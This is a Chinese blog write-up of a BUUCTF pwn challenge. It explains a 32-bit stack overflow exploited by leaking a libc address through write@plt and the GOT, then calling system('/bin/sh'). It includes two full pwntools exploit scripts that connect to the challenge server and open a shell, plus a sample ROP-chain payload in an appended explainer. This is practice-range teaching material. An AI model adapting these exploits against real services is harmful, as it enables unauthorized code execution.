[PWN] BUUCTF 铁人三项(第五赛区)_2018_rop 1(ret2libc3)

本文详细分析了一个32位CTF比赛中的ROP利用题目,涉及栈溢出、NX和RELRO保护、Linux延迟绑定机制。通过构造payload泄露libc地址,然后利用在线库搜索工具确定libc版本,最终计算并覆盖返回地址执行system('/bin/sh')获取flag。过程中讲解了payload的构建步骤和关键函数地址的获取。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[PWN] BUUCTF 铁人三项(第五赛区)2018_rop_1

解题分析

按照惯例先checksec 一下,发现开了NX和RELRO
在这里插入图片描述
紧接着运行程序,了解运行逻辑,发现先让我们进行输入,然后再打印出"Hello,World"
在这里插入图片描述
用32位IDA打开,查看主要函数main和vulnerable_function,在main中除了write打印除"Hello,world"并没有发现别的。
在这里插入图片描述
而在vulnerable_function却发现buf只有0x88字节大小,但read却可以往buf中输入0x100字节,使所以存在栈溢出
在这里插入图片描述
shift+12后,发现没有可以直接利用的后门函数,则可发现是一个常规的32位libc泄露,首先利用write或read来泄露程序的libc版本,之后知道libc版本后,计算system函数以及binsh参数的地址,最后覆盖返回地址为system(‘/bin/sh’)来取得flag(从libc得到的是偏移地址,自己泄露的是函数的真正地址,所有函数的基址一致)

函数的真正地址 = 基地址 + 偏移地址
base_addr = read_addr - read_offset
sys_addr = system_offset + base_addr
bin_addr = binsh_offset + base_addr

在这里插入图片描述

payload分析

elf=ELF("./2018_rop")

调用2018_rop的elf文件,为下面找到main的地址,write的plt地址,write,read的got地址做准备

vul_addr=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
read_got=elf.got['read']

通过elf找到印write函数的plt表和got表的地址,以及main函数的地址
至于为什么要找到write的plt和got表地址,那么就要去了解Linux延迟绑定机制,plt存放的是进入这个函数的地址,而got表中存放的是这个函数的真正地址

payload = 'a'*(0x88+0x4)
payload += p32(write_plt)         #调用write函数把got表中的函数真实地址打印出来保存
payload += p32(vul_addr)          #返回地址,调用完write返回主要利用函数
payload += p32(1)                 #设置write的参数,保持可写
payload += p32(write_got)         #打印got中地址
payload += p32(4)                 #打印的字节数	

使用LibcSearcher来进行泄露libc,通过泄露的write地址来找到libc版本遗憾的是我的LibcSearcher中的Libc库没有这个题目的Libc所以找不到flag

payload1

#coding=utf-8
from pwn import *    #导入pwntools中的pwn包的所有内容
from LibcSearcher import*
context.terminal = ['terminator','-x','sh','-c']
p=remote("node3.buuoj.cn",28424)  #链接服务器远程交互,等同于nc、ip端口命令
elf=ELF("./2018_rop")
# libc = elf.libc

vul_addr=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
read_got=elf.got['read']

payload = 'a'*(0x88+0x4)
payload += p32(write_plt)         #调用write函数把got表中的函数真实地址打印出来保存
payload += p32(vul_addr)          #返回地址,调用完write返回主要利用函数
payload += p32(1)                 #设置write的参数,保持可写
payload += p32(write_got)         #打印got中地址
# payload += p32(read_got)
payload += p32(4)                 #打印的字节数

p.sendline(payload)
write_addr=u32(p.recv())
log.success('write==>'+hex(write_addr))



libc = LibcSearcher('write', write_addr)
libc_base=write_addr-libc.dump('write') 
sys_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump("str_bin_sh")

payload1 = "a" * 0x88
payload1 += "b"*4
payload1 += p32(sys_addr)+p32(1)+p32(bin_addr)
p.sendline(payload1)
p.interactive()

在这里插入图片描述
那么只能通过利用泄露出来的write或read后三位地址用https://libc.blukat.me/来查询libc版本以此来获取函数的偏移量,为了排除多余的libc,我这里泄露了write和read的地址来寻找正确的libc版本,从而得到偏移量
在这里插入图片描述

read_offset=0x0e5620
system_offset =0x03cd10
binsh_offset = 0x17b8cf

payload2

#coding=utf-8
from pwn import *    #导入pwntools中的pwn包的所有内容
from LibcSearcher import*
context.terminal = ['terminator','-x','sh','-c']
p=remote("node3.buuoj.cn",28424)  #链接服务器远程交互,等同于nc、ip端口命令
elf=ELF("./2018_rop")
# libc = elf.libc

vul_addr=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
read_got=elf.got['read']

payload = 'a'*(0x88+0x4)
payload += p32(write_plt)         #调用write函数把got表中的函数真实地址打印出来保存
payload += p32(vul_addr)          #返回地址,调用完write返回主要利用函数
payload += p32(1)                 #设置write的参数,保持可写
# payload += p32(write_got)         #打印got中地址
payload += p32(read_got)
payload += p32(4)                 #打印的字节数

p.sendline(payload)
read_addr=u32(p.recv())
log.success('read==>'+hex(read_addr))

read_offset=0x0e5620
system_offset =0x03cd10
binsh_offset = 0x17b8cf

base_addr = read_addr - read_offset
sys_addr = system_offset + base_addr
bin_addr = binsh_offset + base_addr




payload1 = "a" * 0x88
payload1 += "b"*4
payload1 += p32(sys_addr)+p32(1)+p32(bin_addr)
p.sendline(payload1)
p.interactive()

在这里插入图片描述Get!

参考

https://blog.youkuaiyun.com/qq_51032807/article/details/114808339?spm=1001.2014.3001.5501

### 关于 pwnret2libc 技术的实现方法 #### 概述 ret2libc 是一种利用栈溢出漏洞的技术,通过覆盖返回地址来执行 libc 库中的函数。这种方式不需要注入额外的 shellcode,而是重定向程序流到已有库函数,从而绕过一些安全机制。 #### 原理说明 当发生缓冲区溢出时,攻击者可以控制 EIP 寄存器指向任意位置。如果能够计算出标准 C 函数如 `system()` 的确切内存地址,则可以通过设置参数并调用该函数达到特定目的[^1]。 #### 实现步骤详解 为了成功实施 ret2libc 攻击,通常需要满足以下几个条件: - **获取目标机器上 libc 版本及其加载基址** 这一点非常重要因为不同版本之间函数偏移量会有所差异。对于远程服务器来说这一步可能会变得复杂,但在本地测试环境中相对容易完成[^2]。 - **找到合适的 gadget 链接点** Gadget 是一小段可重复使用的汇编代码片段,它们存在于二进制文件内部并且以 `ret` 结束。理想情况下应该寻找那些可以直接跳转至所需功能入口处的 gadgets 或者构建一系列连续操作最终导向 system() 调用链路[^3]。 - **构造 payload 数据包** Payload 构建是整个过程中最核心的部分之一。它由多个部分组成:首先是填充物用来触发溢出;其次是精心挑选的目标地址(通常是 system@plt 或其他有用函数);最后是要传递给所选函数的实际参数列表,比如 "/bin/sh" 字符串的位置等信息。 ```python from struct import pack # Example of constructing a simple ROP chain for educational purposes only. offset = b"A"*76 # Offset to reach the saved return address on stack system_addr = pack("<I", 0xb7ecffb0) # Address of &#39;system&#39; function from known libc version exit_addr = pack("<I", 0xb7ecfa80) # Address of &#39;exit&#39; function, used as next instruction after calling system() sh_str_addr = pack("<I", 0xbffffc9a) # Memory location containing string &#39;/bin/sh&#39; payload = offset + system_addr + exit_addr + sh_str_addr ``` 上述 Python 代码展示了如何创建一个简单的 ROP (Return-Oriented Programming) 链条用于教学演示用途。实际应用中还需要考虑更多因素,例如 ASLR 地址空间布局随机化防护措施的影响等问题。 #### 安全建议与预防措施 现代操作系统已经引入了许多缓解此类攻击的安全特性,例如 DEP 和 ASLR 。因此,在真实世界里单纯依靠传统意义上的 ret2libc 已经难以奏效。不过了解这项技术仍然是非常有价值的,有助于加深对计算机体系结构的理解,并为更高级别的逆向工程打下坚实基础。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值